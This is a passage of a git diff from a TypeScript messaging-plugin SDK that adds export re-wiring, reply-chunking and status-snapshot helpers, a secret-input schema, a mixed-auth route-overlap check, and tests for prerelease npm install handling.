export { export { formatDocsLink } from "../terminal/links.js"; export type { WizardPrompter } from "../wizard/prompts.js"; export { createScopedPairingAccess } from "./pairing-access.js"; +export { dispatchInboundReplyWithBase } from "./inbound-reply-dispatch.js"; export type { OutboundReplyPayload } from "./reply-payload.js"; export { createNormalizedOutboundDeliverer, diff --git a/src/plugin-sdk/line.ts b/src/plugin-sdk/line.ts index f7f6a3eeb37..0318e5ac1e7 100644 --- a/src/plugin-sdk/line.ts +++ b/src/plugin-sdk/line.ts @@ -14,13 +14,17 @@ export { emptyPluginConfigSchema } from "../plugins/config-schema.js"; export { DEFAULT_ACCOUNT_ID } from "../routing/session-key.js"; export { buildChannelConfigSchema } from "../channels/plugins/config-schema.js"; +export { clearAccountEntryFields } from "../channels/plugins/config-helpers.js"; export { resolveAllowlistProviderRuntimeGroupPolicy, resolveDefaultGroupPolicy, } from "../config/runtime-group-policy.js"; -export { buildTokenChannelStatusSummary } from "./status-helpers.js"; +export { + buildComputedAccountStatusSnapshot, + buildTokenChannelStatusSummary, +} from "./status-helpers.js"; export { LineConfigSchema } from "../line/config-schema.js"; export type { LineChannelData, LineConfig, ResolvedLineAccount } from "../line/types.js"; diff --git a/src/plugin-sdk/matrix.ts b/src/plugin-sdk/matrix.ts index fca8773e9b3..b029062e28a 100644 --- a/src/plugin-sdk/matrix.ts +++ b/src/plugin-sdk/matrix.ts @@ -73,6 +73,7 @@ export { normalizeResolvedSecretInputString, normalizeSecretInputString, } from "../config/types.secrets.js"; +export { buildSecretInputSchema } from "./secret-input-schema.js"; export { ToolPolicySchema } from "../config/zod-schema.agent-runtime.js"; export { MarkdownConfigSchema } from "../config/zod-schema.core.js"; export { fetchWithSsrFGuard } from "../infra/net/fetch-guard.js"; @@ -92,5 +93,10 @@ export type { WizardPrompter } from "../wizard/prompts.js"; export { createScopedPairingAccess } from "./pairing-access.js"; export { formatResolvedUnresolvedNote } from "./resolution-notes.js"; export { runPluginCommandWithTimeout } from "./run-command.js"; -export { createLoggerBackedRuntime } from "./runtime.js"; -export { buildProbeChannelStatusSummary } from "./status-helpers.js"; +export { dispatchReplyFromConfigWithSettledDispatcher } from "./inbound-reply-dispatch.js"; +export { createLoggerBackedRuntime, resolveRuntimeEnv } from "./runtime.js"; +export { resolveInboundSessionEnvelopeContext } from "../channels/session-envelope.js"; +export { + buildProbeChannelStatusSummary, + collectStatusIssuesFromLastError, +} from "./status-helpers.js"; diff --git a/src/plugin-sdk/mattermost.ts b/src/plugin-sdk/mattermost.ts index 9b3619bc581..9ad22e60284 100644 --- a/src/plugin-sdk/mattermost.ts +++ b/src/plugin-sdk/mattermost.ts @@ -15,6 +15,12 @@ export type { ChatType } from "../channels/chat-type.js"; export { resolveControlCommandGate } from "../channels/command-gating.js"; export { logInboundDrop, logTypingFailure } from "../channels/logging.js"; export { resolveAllowlistMatchSimple } from "../channels/plugins/allowlist-match.js"; +export { normalizeProviderId } from "../agents/model-selection.js"; +export { + buildModelsProviderData, + type ModelsProviderData, +} from "../auto-reply/reply/commands-models.js"; +export { resolveStoredModelOverride } from "../auto-reply/reply/model-selection.js"; export { deleteAccountFromConfigSection, setAccountEnabledInConfigSection, @@ -44,6 +50,7 @@ export { createReplyPrefixOptions } from "../channels/reply-prefix.js"; export { createTypingCallbacks } from "../channels/typing.js"; export type { OpenClawConfig } from "../config/config.js"; export { isDangerousNameMatchingEnabled } from "../config/dangerous-name-matching.js"; +export { loadSessionStore, resolveStorePath } from "../config/sessions.js"; export { resolveAllowlistProviderRuntimeGroupPolicy, resolveDefaultGroupPolicy, @@ -56,6 +63,7 @@ export { normalizeResolvedSecretInputString, normalizeSecretInputString, } from "../config/types.secrets.js"; +export { buildSecretInputSchema } from "./secret-input-schema.js"; export { BlockStreamingCoalesceSchema, DmPolicySchema, @@ -65,6 +73,7 @@ export { } from "../config/zod-schema.core.js"; export { createDedupeCache } from "../infra/dedupe.js"; export { rawDataToString } from "../infra/ws.js"; +export { isLoopbackHost, isTrustedProxyAddress, resolveClientIp } from "../gateway/net.js"; export { registerPluginHttpRoute } from "../plugins/http-registry.js"; export { emptyPluginConfigSchema } from "../plugins/config-schema.js"; export type { PluginRuntime } from "../plugins/runtime/types.js"; diff --git a/src/plugin-sdk/minimax-portal-auth.ts b/src/plugin-sdk/minimax-portal-auth.ts index 2f6ab59e124..9a8b0f0bb80 100644 --- a/src/plugin-sdk/minimax-portal-auth.ts +++ b/src/plugin-sdk/minimax-portal-auth.ts @@ -2,6 +2,7 @@ // Keep this list additive and scoped to symbols used under extensions/minimax-portal-auth. export { emptyPluginConfigSchema } from "../plugins/config-schema.js"; +export { buildOauthProviderAuthResult } from "./provider-auth-result.js"; export type { OpenClawPluginApi, ProviderAuthContext, diff --git a/src/plugin-sdk/msteams.ts b/src/plugin-sdk/msteams.ts index 28f5e10a4c0..ae3e7d3564e 100644 --- a/src/plugin-sdk/msteams.ts +++ b/src/plugin-sdk/msteams.ts @@ -94,9 +94,11 @@ export { loadWebMedia } from "../web/media.js"; export type { WizardPrompter } from "../wizard/prompts.js"; export { keepHttpServerTaskAlive } from "./channel-lifecycle.js"; export { withFileLock } from "./file-lock.js"; +export { dispatchReplyFromConfigWithSettledDispatcher } from "./inbound-reply-dispatch.js"; export { readJsonFileWithFallback, writeJsonFileAtomically } from "./json-store.js"; export { loadOutboundMediaFromUrl } from "./outbound-media.js"; export { createScopedPairingAccess } from "./pairing-access.js"; +export { resolveInboundSessionEnvelopeContext } from "../channels/session-envelope.js"; export { buildHostnameAllowlistPolicyFromSuffixAllowlist, isHttpsUrlAllowedByHostnameSuffixAllowlist, @@ -104,5 +106,7 @@ export { } from "./ssrf-policy.js"; export { buildBaseChannelStatusSummary, + buildProbeChannelStatusSummary, + buildRuntimeAccountStatusSnapshot, createDefaultChannelRuntimeState, } from "./status-helpers.js"; diff --git a/src/plugin-sdk/nextcloud-talk.ts b/src/plugin-sdk/nextcloud-talk.ts index 7d66c5e66be..03116a7864b 100644 --- a/src/plugin-sdk/nextcloud-talk.ts +++ b/src/plugin-sdk/nextcloud-talk.ts @@ -12,6 +12,7 @@ export { } from "../channels/plugins/channel-config.js"; export { deleteAccountFromConfigSection, + clearAccountEntryFields, setAccountEnabledInConfigSection, } from "../channels/plugins/config-helpers.js"; export { buildChannelConfigSchema } from "../channels/plugins/config-schema.js"; @@ -50,6 +51,7 @@ export { normalizeResolvedSecretInputString, normalizeSecretInputString, } from "../config/types.secrets.js"; +export { buildSecretInputSchema } from "./secret-input-schema.js"; export { ToolPolicySchema } from "../config/zod-schema.agent-runtime.js"; export { BlockStreamingCoalesceSchema, @@ -89,4 +91,9 @@ export { formatTextWithAttachmentLinks, resolveOutboundMediaUrls, } from "./reply-payload.js"; +export { dispatchInboundReplyWithBase } from "./inbound-reply-dispatch.js"; export { createLoggerBackedRuntime } from "./runtime.js"; +export { + buildBaseChannelStatusSummary, + buildRuntimeAccountStatusSnapshot, +} from "./status-helpers.js"; diff --git a/src/plugin-sdk/qwen-portal-auth.ts b/src/plugin-sdk/qwen-portal-auth.ts index 33d03ae394b..1056b98d0cf 100644 --- a/src/plugin-sdk/qwen-portal-auth.ts +++ b/src/plugin-sdk/qwen-portal-auth.ts @@ -2,5 +2,6 @@ // Keep this list additive and scoped to symbols used under extensions/qwen-portal-auth. export { emptyPluginConfigSchema } from "../plugins/config-schema.js"; +export { buildOauthProviderAuthResult } from "./provider-auth-result.js"; export type { OpenClawPluginApi, ProviderAuthContext } from "../plugins/types.js"; export { generatePkceVerifierChallenge, toFormUrlEncoded } from "./oauth-utils.js"; diff --git a/src/plugin-sdk/reply-payload.test.ts b/src/plugin-sdk/reply-payload.test.ts new file mode 100644 index 00000000000..780b75686a1 --- /dev/null +++ b/src/plugin-sdk/reply-payload.test.ts @@ -0,0 +1,58 @@ +import { describe, expect, it } from "vitest"; +import { isNumericTargetId, sendPayloadWithChunkedTextAndMedia } from "./reply-payload.js"; + +describe("sendPayloadWithChunkedTextAndMedia", () => { + it("returns empty result when payload has no text and no media", async () => { + const result = await sendPayloadWithChunkedTextAndMedia({ + ctx: { payload: {} }, + sendText: async () => ({ channel: "test", messageId: "text" }), + sendMedia: async () => ({ channel: "test", messageId: "media" }), + emptyResult: { channel: "test", messageId: "" }, + }); + expect(result).toEqual({ channel: "test", messageId: "" }); + }); + + it("sends first media with text and remaining media without text", async () => { + const calls: Array<{ text: string; mediaUrl: string }> = []; + const result = await sendPayloadWithChunkedTextAndMedia({ + ctx: { + payload: { text: "hello", mediaUrls: ["https://a", "https://b"] }, + }, + sendText: async () => ({ channel: "test", messageId: "text" }), + sendMedia: async (ctx) => { + calls.push({ text: ctx.text, mediaUrl: ctx.mediaUrl }); + return { channel: "test", messageId: ctx.mediaUrl }; + }, + emptyResult: { channel: "test", messageId: "" }, + }); + expect(calls).toEqual([ + { text: "hello", mediaUrl: "https://a" }, + { text: "", mediaUrl: "https://b" }, + ]); + expect(result).toEqual({ channel: "test", messageId: "https://b" }); + }); + + it("chunks text and sends each chunk", async () => { + const chunks: string[] = []; + const result = await sendPayloadWithChunkedTextAndMedia({ + ctx: { payload: { text: "alpha beta gamma" } }, + textChunkLimit: 5, + chunker: () => ["alpha", "beta", "gamma"], + sendText: async (ctx) => { + chunks.push(ctx.text); + return { channel: "test", messageId: ctx.text }; + }, + sendMedia: async () => ({ channel: "test", messageId: "media" }), + emptyResult: { channel: "test", messageId: "" }, + }); + expect(chunks).toEqual(["alpha", "beta", "gamma"]); + expect(result).toEqual({ channel: "test", messageId: "gamma" }); + }); + + it("detects numeric target IDs", () => { + expect(isNumericTargetId("12345")).toBe(true); + expect(isNumericTargetId(" 987 ")).toBe(true); + expect(isNumericTargetId("ab12")).toBe(false); + expect(isNumericTargetId("")).toBe(false); + }); +}); diff --git a/src/plugin-sdk/reply-payload.ts b/src/plugin-sdk/reply-payload.ts index b2534cd629c..e141da2a940 100644 --- a/src/plugin-sdk/reply-payload.ts +++ b/src/plugin-sdk/reply-payload.ts @@ -49,6 +49,55 @@ export function resolveOutboundMediaUrls(payload: { return []; } +export async function sendPayloadWithChunkedTextAndMedia< + TContext extends { payload: object }, + TResult, +>(params: { + ctx: TContext; + textChunkLimit?: number; + chunker?: ((text: string, limit: number) => string[]) | null; + sendText: (ctx: TContext & { text: string }) => Promise; + sendMedia: (ctx: TContext & { text: string; mediaUrl: string }) => Promise; + emptyResult: TResult; +}): Promise { + const payload = params.ctx.payload as { text?: string; mediaUrls?: string[]; mediaUrl?: string }; + const text = payload.text ?? ""; + const urls = resolveOutboundMediaUrls(payload); + if (!text && urls.length === 0) { + return params.emptyResult; + } + if (urls.length > 0) { + let lastResult = await params.sendMedia({ + ...params.ctx, + text, + mediaUrl: urls[0], + }); + for (let i = 1; i < urls.length; i++) { + lastResult = await params.sendMedia({ + ...params.ctx, + text: "", + mediaUrl: urls[i], + }); + } + return lastResult; + } + const limit = params.textChunkLimit; + const chunks = limit && params.chunker ? params.chunker(text, limit) : [text]; + let lastResult: TResult; + for (const chunk of chunks) { + lastResult = await params.sendText({ ...params.ctx, text: chunk }); + } + return lastResult!; +} + +export function isNumericTargetId(raw: string): boolean { + const trimmed = raw.trim(); + if (!trimmed) { + return false; + } + return /^\d{3,}$/.test(trimmed); +} + export function formatTextWithAttachmentLinks( text: string | undefined, mediaUrls: string[], diff --git a/src/plugin-sdk/request-url.test.ts b/src/plugin-sdk/request-url.test.ts new file mode 100644 index 00000000000..94c0f1917e3 --- /dev/null +++ b/src/plugin-sdk/request-url.test.ts @@ -0,0 +1,17 @@ +import { describe, expect, it } from "vitest"; +import { resolveRequestUrl } from "./request-url.js"; + +describe("resolveRequestUrl", () => { + it("resolves string input", () => { + expect(resolveRequestUrl("https://example.com/a")).toBe("https://example.com/a"); + }); + + it("resolves URL input", () => { + expect(resolveRequestUrl(new URL("https://example.com/b"))).toBe("https://example.com/b"); + }); + + it("resolves object input with url field", () => { + const requestLike = { url: "https://example.com/c" } as unknown as RequestInfo; + expect(resolveRequestUrl(requestLike)).toBe("https://example.com/c"); + }); +}); diff --git a/src/plugin-sdk/request-url.ts b/src/plugin-sdk/request-url.ts new file mode 100644 index 00000000000..2ba7354cc28 --- /dev/null +++ b/src/plugin-sdk/request-url.ts @@ -0,0 +1,12 @@ +export function resolveRequestUrl(input: RequestInfo | URL): string { + if (typeof input === "string") { + return input; + } + if (input instanceof URL) { + return input.toString(); + } + if (typeof input === "object" && input && "url" in input && typeof input.url === "string") { + return input.url; + } + return ""; +} diff --git a/src/plugin-sdk/runtime.test.ts b/src/plugin-sdk/runtime.test.ts new file mode 100644 index 00000000000..0dedb79e8e1 --- /dev/null +++ b/src/plugin-sdk/runtime.test.ts @@ -0,0 +1,39 @@ +import { describe, expect, it, vi } from "vitest"; +import type { RuntimeEnv } from "../runtime.js"; +import { resolveRuntimeEnv } from "./runtime.js"; + +describe("resolveRuntimeEnv", () => { + it("returns provided runtime when present", () => { + const runtime: RuntimeEnv = { + log: vi.fn(), + error: vi.fn(), + exit: vi.fn(() => { + throw new Error("exit"); + }), + }; + const logger = { + info: vi.fn(), + error: vi.fn(), + }; + + const resolved = resolveRuntimeEnv({ runtime, logger }); + + expect(resolved).toBe(runtime); + expect(logger.info).not.toHaveBeenCalled(); + expect(logger.error).not.toHaveBeenCalled(); + }); + + it("creates logger-backed runtime when runtime is missing", () => { + const logger = { + info: vi.fn(), + error: vi.fn(), + }; + + const resolved = resolveRuntimeEnv({ logger }); + resolved.log?.("hello %s", "world"); + resolved.error?.("bad %d", 7); + + expect(logger.info).toHaveBeenCalledWith("hello world"); + expect(logger.error).toHaveBeenCalledWith("bad 7"); + }); +}); diff --git a/src/plugin-sdk/runtime.ts b/src/plugin-sdk/runtime.ts index dac01e9b5dc..c438a4e9788 100644 --- a/src/plugin-sdk/runtime.ts +++ b/src/plugin-sdk/runtime.ts @@ -22,3 +22,23 @@ export function createLoggerBackedRuntime(params: { }, }; } + +export function resolveRuntimeEnv(params: { + runtime?: RuntimeEnv; + logger: LoggerLike; + exitError?: (code: number) => Error; +}): RuntimeEnv { + return params.runtime ?? createLoggerBackedRuntime(params); +} + +export function resolveRuntimeEnvWithUnavailableExit(params: { + runtime?: RuntimeEnv; + logger: LoggerLike; + unavailableMessage?: string; +}): RuntimeEnv { + return resolveRuntimeEnv({ + runtime: params.runtime, + logger: params.logger, + exitError: () => new Error(params.unavailableMessage ?? "Runtime exit not available"), + }); +} diff --git a/src/plugin-sdk/secret-input-schema.ts b/src/plugin-sdk/secret-input-schema.ts new file mode 100644 index 00000000000..d5eb3a0767e --- /dev/null +++ b/src/plugin-sdk/secret-input-schema.ts @@ -0,0 +1,12 @@ +import { z } from "zod"; + +export function buildSecretInputSchema() { + return z.union([ + z.string(), + z.object({ + source: z.enum(["env", "file", "exec"]), + provider: z.string().min(1), + id: z.string().min(1), + }), + ]); +} diff --git a/src/plugin-sdk/signal.ts b/src/plugin-sdk/signal.ts index d15d35ee1dc..32f291913a5 100644 --- a/src/plugin-sdk/signal.ts +++ b/src/plugin-sdk/signal.ts @@ -1,26 +1,6 @@ export type { ChannelMessageActionAdapter } from "../channels/plugins/types.js"; -export type { ChannelPlugin } from "../channels/plugins/types.plugin.js"; export type { ResolvedSignalAccount } from "../signal/accounts.js"; -export type { PluginRuntime } from "../plugins/runtime/types.js"; -export type { OpenClawPluginApi } from "../plugins/types.js"; - -export { emptyPluginConfigSchema } from "../plugins/config-schema.js"; - -export { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "../routing/session-key.js"; - -export { - applyAccountNameToChannelSection, - migrateBaseNameToDefaultAccount, -} from "../channels/plugins/setup-helpers.js"; -export { buildChannelConfigSchema } from "../channels/plugins/config-schema.js"; -export { - deleteAccountFromConfigSection, - setAccountEnabledInConfigSection, -} from "../channels/plugins/config-helpers.js"; -export { formatPairingApproveHint } from "../channels/plugins/helpers.js"; -export { PAIRING_APPROVED_MESSAGE } from "../channels/plugins/pairing-message.js"; - -export { getChatChannelMeta } from "../channels/registry.js"; +export * from "./channel-plugin-common.js"; export { listSignalAccountIds, resolveDefaultSignalAccountId, diff --git a/src/plugin-sdk/slack.ts b/src/plugin-sdk/slack.ts index b0df1329bb9..debb4b75fea 100644 --- a/src/plugin-sdk/slack.ts +++ b/src/plugin-sdk/slack.ts @@ -1,27 +1,7 @@ -export type { ChannelPlugin } from "../channels/plugins/types.plugin.js"; export type { OpenClawConfig } from "../config/config.js"; export type { InspectedSlackAccount } from "../slack/account-inspect.js"; export type { ResolvedSlackAccount } from "../slack/accounts.js"; -export type { PluginRuntime } from "../plugins/runtime/types.js"; -export type { OpenClawPluginApi } from "../plugins/types.js"; - -export { emptyPluginConfigSchema } from "../plugins/config-schema.js"; - -export { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "../routing/session-key.js"; - -export { - applyAccountNameToChannelSection, - migrateBaseNameToDefaultAccount, -} from "../channels/plugins/setup-helpers.js"; -export { buildChannelConfigSchema } from "../channels/plugins/config-schema.js"; -export { - deleteAccountFromConfigSection, - setAccountEnabledInConfigSection, -} from "../channels/plugins/config-helpers.js"; -export { formatPairingApproveHint } from "../channels/plugins/helpers.js"; -export { PAIRING_APPROVED_MESSAGE } from "../channels/plugins/pairing-message.js"; - -export { getChatChannelMeta } from "../channels/registry.js"; +export * from "./channel-plugin-common.js"; export { listSlackAccountIds, resolveDefaultSlackAccountId, diff --git a/src/plugin-sdk/status-helpers.test.ts b/src/plugin-sdk/status-helpers.test.ts index b2e10cc4ae8..b2b75bb1414 100644 --- a/src/plugin-sdk/status-helpers.test.ts +++ b/src/plugin-sdk/status-helpers.test.ts @@ -2,6 +2,8 @@ import { describe, expect, it } from "vitest"; import { buildBaseAccountStatusSnapshot, buildBaseChannelStatusSummary, + buildComputedAccountStatusSnapshot, + buildRuntimeAccountStatusSnapshot, buildTokenChannelStatusSummary, collectStatusIssuesFromLastError, createDefaultChannelRuntimeState, @@ -88,6 +90,42 @@ describe("buildBaseAccountStatusSnapshot", () => { }); }); +describe("buildComputedAccountStatusSnapshot", () => { + it("builds account status when configured is computed outside resolver", () => { + expect( + buildComputedAccountStatusSnapshot({ + accountId: "default", + enabled: true, + configured: false, + }), + ).toEqual({ + accountId: "default", + name: undefined, + enabled: true, + configured: false, + running: false, + lastStartAt: null, + lastStopAt: null, + lastError: null, + probe: undefined, + lastInboundAt: null, + lastOutboundAt: null, + }); + }); +}); + +describe("buildRuntimeAccountStatusSnapshot", () => { + it("builds runtime lifecycle fields with defaults", () => { + expect(buildRuntimeAccountStatusSnapshot({})).toEqual({ + running: false, + lastStartAt: null, + lastStopAt: null, + lastError: null, + probe: undefined, + }); + }); +}); + describe("buildTokenChannelStatusSummary", () => { it("includes token/probe fields with mode by default", () => { expect(buildTokenChannelStatusSummary({})).toEqual({ diff --git a/src/plugin-sdk/status-helpers.ts b/src/plugin-sdk/status-helpers.ts index c6abc1d6e54..42aad35a702 100644 --- a/src/plugin-sdk/status-helpers.ts +++ b/src/plugin-sdk/status-helpers.ts @@ -81,13 +81,44 @@ export function buildBaseAccountStatusSnapshot(params: { name: account.name, enabled: account.enabled, configured: account.configured, + ...buildRuntimeAccountStatusSnapshot({ runtime, probe }), + lastInboundAt: runtime?.lastInboundAt ?? null, + lastOutboundAt: runtime?.lastOutboundAt ?? null, + }; +} + +export function buildComputedAccountStatusSnapshot(params: { + accountId: string; + name?: string; + enabled?: boolean; + configured?: boolean; + runtime?: RuntimeLifecycleSnapshot | null; + probe?: unknown; +}) { + const { accountId, name, enabled, configured, runtime, probe } = params; + return buildBaseAccountStatusSnapshot({ + account: { + accountId, + name, + enabled, + configured, + }, + runtime, + probe, + }); +} + +export function buildRuntimeAccountStatusSnapshot(params: { + runtime?: RuntimeLifecycleSnapshot | null; + probe?: unknown; +}) { + const { runtime, probe } = params; + return { running: runtime?.running ?? false, lastStartAt: runtime?.lastStartAt ?? null, lastStopAt: runtime?.lastStopAt ?? null, lastError: runtime?.lastError ?? null, probe, - lastInboundAt: runtime?.lastInboundAt ?? null, - lastOutboundAt: runtime?.lastOutboundAt ?? null, }; } diff --git a/src/plugin-sdk/telegram.ts b/src/plugin-sdk/telegram.ts index c4dfce3e441..53167998404 100644 --- a/src/plugin-sdk/telegram.ts +++ b/src/plugin-sdk/telegram.ts @@ -22,6 +22,7 @@ export { export { buildChannelConfigSchema } from "../channels/plugins/config-schema.js"; export { deleteAccountFromConfigSection, + clearAccountEntryFields, setAccountEnabledInConfigSection, } from "../channels/plugins/config-helpers.js"; export { formatPairingApproveHint } from "../channels/plugins/helpers.js"; diff --git a/src/plugin-sdk/zalo.ts b/src/plugin-sdk/zalo.ts index 07237369d2e..852c6f17f0c 100644 --- a/src/plugin-sdk/zalo.ts +++ b/src/plugin-sdk/zalo.ts @@ -48,6 +48,7 @@ export { normalizeResolvedSecretInputString, normalizeSecretInputString, } from "../config/types.secrets.js"; +export { buildSecretInputSchema } from "./secret-input-schema.js"; export { MarkdownConfigSchema } from "../config/zod-schema.core.js"; export { createDedupeCache } from "../infra/dedupe.js"; export { emptyPluginConfigSchema } from "../plugins/config-schema.js"; @@ -66,9 +67,18 @@ export { evaluateSenderGroupAccess } from "./group-access.js"; export type { SenderGroupAccessDecision } from "./group-access.js"; export { resolveInboundRouteEnvelopeBuilderWithRuntime } from "./inbound-envelope.js"; export { createScopedPairingAccess } from "./pairing-access.js"; +export { buildChannelSendResult } from "./channel-send-result.js"; export type { OutboundReplyPayload } from "./reply-payload.js"; -export { resolveOutboundMediaUrls, sendMediaWithLeadingCaption } from "./reply-payload.js"; -export { buildTokenChannelStatusSummary } from "./status-helpers.js"; +export { + isNumericTargetId, + resolveOutboundMediaUrls, + sendMediaWithLeadingCaption, + sendPayloadWithChunkedTextAndMedia, +} from "./reply-payload.js"; +export { + buildBaseAccountStatusSnapshot, + buildTokenChannelStatusSummary, +} from "./status-helpers.js"; export { chunkTextForOutbound } from "./text-chunking.js"; export { extractToolSend } from "./tool-send.js"; export { diff --git a/src/plugin-sdk/zalouser.ts b/src/plugin-sdk/zalouser.ts index 3109802fbb3..d0c75742ef0 100644 --- a/src/plugin-sdk/zalouser.ts +++ b/src/plugin-sdk/zalouser.ts @@ -57,7 +57,14 @@ export { resolveSenderCommandAuthorization } from "./command-auth.js"; export { resolveChannelAccountConfigBasePath } from "./config-paths.js"; export { loadOutboundMediaFromUrl } from "./outbound-media.js"; export { createScopedPairingAccess } from "./pairing-access.js"; +export { buildChannelSendResult } from "./channel-send-result.js"; export type { OutboundReplyPayload } from "./reply-payload.js"; -export { resolveOutboundMediaUrls, sendMediaWithLeadingCaption } from "./reply-payload.js"; +export { + isNumericTargetId, + resolveOutboundMediaUrls, + sendMediaWithLeadingCaption, + sendPayloadWithChunkedTextAndMedia, +} from "./reply-payload.js"; export { formatResolvedUnresolvedNote } from "./resolution-notes.js"; +export { buildBaseAccountStatusSnapshot } from "./status-helpers.js"; export { chunkTextForOutbound } from "./text-chunking.js"; diff --git a/src/plugins/http-registry.test.ts b/src/plugins/http-registry.test.ts index 179ddadac5e..9993c7cb39d 100644 --- a/src/plugins/http-registry.test.ts +++ b/src/plugins/http-registry.test.ts @@ -131,4 +131,37 @@ describe("registerPluginHttpRoute", () => { expectedLogFragment: "route replacement denied", }); }); + + it("rejects mixed-auth overlapping routes", () => { + const registry = createEmptyPluginRegistry(); + const logs: string[] = []; + + registerPluginHttpRoute({ + path: "/plugin/secure", + auth: "gateway", + match: "prefix", + handler: vi.fn(), + registry, + pluginId: "demo-gateway", + source: "demo-gateway-src", + log: (msg) => logs.push(msg), + }); + + const unregister = registerPluginHttpRoute({ + path: "/plugin/secure/report", + auth: "plugin", + match: "exact", + handler: vi.fn(), + registry, + pluginId: "demo-plugin", + source: "demo-plugin-src", + log: (msg) => logs.push(msg), + }); + + expect(registry.httpRoutes).toHaveLength(1); + expect(logs.at(-1)).toContain("route overlap denied"); + + unregister(); + expect(registry.httpRoutes).toHaveLength(1); + }); }); diff --git a/src/plugins/http-registry.ts b/src/plugins/http-registry.ts index a1af2cf9fc4..bf45f1b076a 100644 --- a/src/plugins/http-registry.ts +++ b/src/plugins/http-registry.ts @@ -1,5 +1,6 @@ import type { IncomingMessage, ServerResponse } from "node:http"; import { normalizePluginHttpPath } from "./http-path.js"; +import { findOverlappingPluginHttpRoute } from "./http-route-overlap.js"; import type { PluginHttpRouteRegistration, PluginRegistry } from "./registry.js"; import { requireActivePluginRegistry } from "./runtime.js"; @@ -33,6 +34,18 @@ export function registerPluginHttpRoute(params: { } const routeMatch = params.match ?? "exact"; + const overlappingRoute = findOverlappingPluginHttpRoute(routes, { + path: normalizedPath, + match: routeMatch, + }); + if (overlappingRoute && overlappingRoute.auth !== params.auth) { + params.log?.( + `plugin: route overlap denied at ${normalizedPath} (${routeMatch}, ${params.auth})${suffix}; ` + + `overlaps ${overlappingRoute.path} (${overlappingRoute.match}, ${overlappingRoute.auth}) ` + + `owned by ${overlappingRoute.pluginId ?? "unknown-plugin"} (${overlappingRoute.source ?? "unknown-source"})`, + ); + return () => {}; + } const existingIndex = routes.findIndex( (entry) => entry.path === normalizedPath && entry.match === routeMatch, ); diff --git a/src/plugins/http-route-overlap.ts b/src/plugins/http-route-overlap.ts new file mode 100644 index 00000000000..fa2c46cc185 --- /dev/null +++ b/src/plugins/http-route-overlap.ts @@ -0,0 +1,44 @@ +import { canonicalizePathVariant } from "../gateway/security-path.js"; +import type { OpenClawPluginHttpRouteMatch } from "./types.js"; + +type PluginHttpRouteLike = { + path: string; + match: OpenClawPluginHttpRouteMatch; +}; + +function prefixMatchPath(pathname: string, prefix: string): boolean { + return ( + pathname === prefix || pathname.startsWith(`${prefix}/`) || pathname.startsWith(`${prefix}%`) + ); +} + +export function doPluginHttpRoutesOverlap( + a: Pick, + b: Pick, +): boolean { + const aPath = canonicalizePathVariant(a.path); + const bPath = canonicalizePathVariant(b.path); + + if (a.match === "exact" && b.match === "exact") { + return aPath === bPath; + } + if (a.match === "prefix" && b.match === "prefix") { + return prefixMatchPath(aPath, bPath) || prefixMatchPath(bPath, aPath); + } + + const prefixRoute = a.match === "prefix" ? a : b; + const exactRoute = a.match === "exact" ? a : b; + return prefixMatchPath( + canonicalizePathVariant(exactRoute.path), + canonicalizePathVariant(prefixRoute.path), + ); +} + +export function findOverlappingPluginHttpRoute< + T extends { + path: string; + match: OpenClawPluginHttpRouteMatch; + }, +>(routes: readonly T[], candidate: PluginHttpRouteLike): T | undefined { + return routes.find((route) => doPluginHttpRoutesOverlap(route, candidate)); +} diff --git a/src/plugins/install.test.ts b/src/plugins/install.test.ts index 40ce9b18f99..5f698a8e64b 100644 --- a/src/plugins/install.test.ts +++ b/src/plugins/install.test.ts @@ -858,4 +858,78 @@ describe("installPluginFromNpmSpec", () => { expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.NPM_PACKAGE_NOT_FOUND); } }); + + it("rejects bare npm specs that resolve to prerelease versions", async () => { + const run = vi.mocked(runCommandWithTimeout); + mockNpmPackMetadataResult(run, { + id: "@openclaw/voice-call@0.0.2-beta.1", + name: "@openclaw/voice-call", + version: "0.0.2-beta.1", + filename: "voice-call-0.0.2-beta.1.tgz", + integrity: "sha512-beta", + shasum: "betashasum", + }); + + const result = await installPluginFromNpmSpec({ + spec: "@openclaw/voice-call", + logger: { info: () => {}, warn: () => {} }, + }); + expect(result.ok).toBe(false); + if (!result.ok) { + expect(result.error).toContain("prerelease version 0.0.2-beta.1"); + expect(result.error).toContain('"@openclaw/voice-call@beta"'); + } + }); + + it("allows explicit prerelease npm tags", async () => { + const run = vi.mocked(runCommandWithTimeout); + let packTmpDir = ""; + const packedName = "voice-call-0.0.2-beta.1.tgz"; + const voiceCallArchiveBuffer = VOICE_CALL_ARCHIVE_V1_BUFFER; + run.mockImplementation(async (argv, opts) => { + if (argv[0] === "npm" && argv[1] === "pack") { + packTmpDir = String(typeof opts === "number" ? "" : (opts.cwd ?? "")); + fs.writeFileSync(path.join(packTmpDir, packedName), voiceCallArchiveBuffer); + return { + code: 0, + stdout: JSON.stringify([ + { + id: "@openclaw/voice-call@0.0.2-beta.1", + name: "@openclaw/voice-call", + version: "0.0.2-beta.1", + filename: packedName, + integrity: "sha512-beta", + shasum: "betashasum", + }, + ]), + stderr: "", + signal: null, + killed: false, + termination: "exit", + }; + } + throw new Error(`unexpected command: ${argv.join(" ")}`); + }); + + const { extensionsDir } = await setupVoiceCallArchiveInstall({ + outName: "voice-call-0.0.2-beta.1.tgz", + version: "0.0.1", + }); + const result = await installPluginFromNpmSpec({ + spec: "@openclaw/voice-call@beta", + extensionsDir, + logger: { info: () => {}, warn: () => {} }, + }); + expect(result.ok).toBe(true); + if (!result.ok) { + return; + } + expect(result.npmResolution?.version).toBe("0.0.2-beta.1"); + expect(result.npmResolution?.resolvedSpec).toBe("@openclaw/voice-call@0.0.2-beta.1"); + expectSingleNpmPackIgnoreScriptsCall({ + calls: run.mock.calls, + expectedSpec: "@openclaw/voice-call@beta", + }); + expect(packTmpDir).not.toBe(""); + }); }); diff --git a/src/plugins/install.ts b/src/plugins/install.ts index 6860568cd74..e6e107877cf 100644 --- a/src/plugins/install.ts +++ b/src/plugins/install.ts @@ -349,10 +349,10 @@ async function installPluginFromPackageDir( copyErrorPrefix: "failed to copy plugin", hasDeps, depsLogMessage: "Installing plugin dependencies…", - afterCopy: async () => { + afterCopy: async (installedDir) => { for (const entry of extensions) { - const resolvedEntry = path.resolve(targetDir, entry); - if (!isPathInside(targetDir, resolvedEntry)) { + const resolvedEntry = path.resolve(installedDir, entry); + if (!isPathInside(installedDir, resolvedEntry)) { logger.warn?.(`extension entry escapes plugin directory: ${entry}`); continue; } diff --git 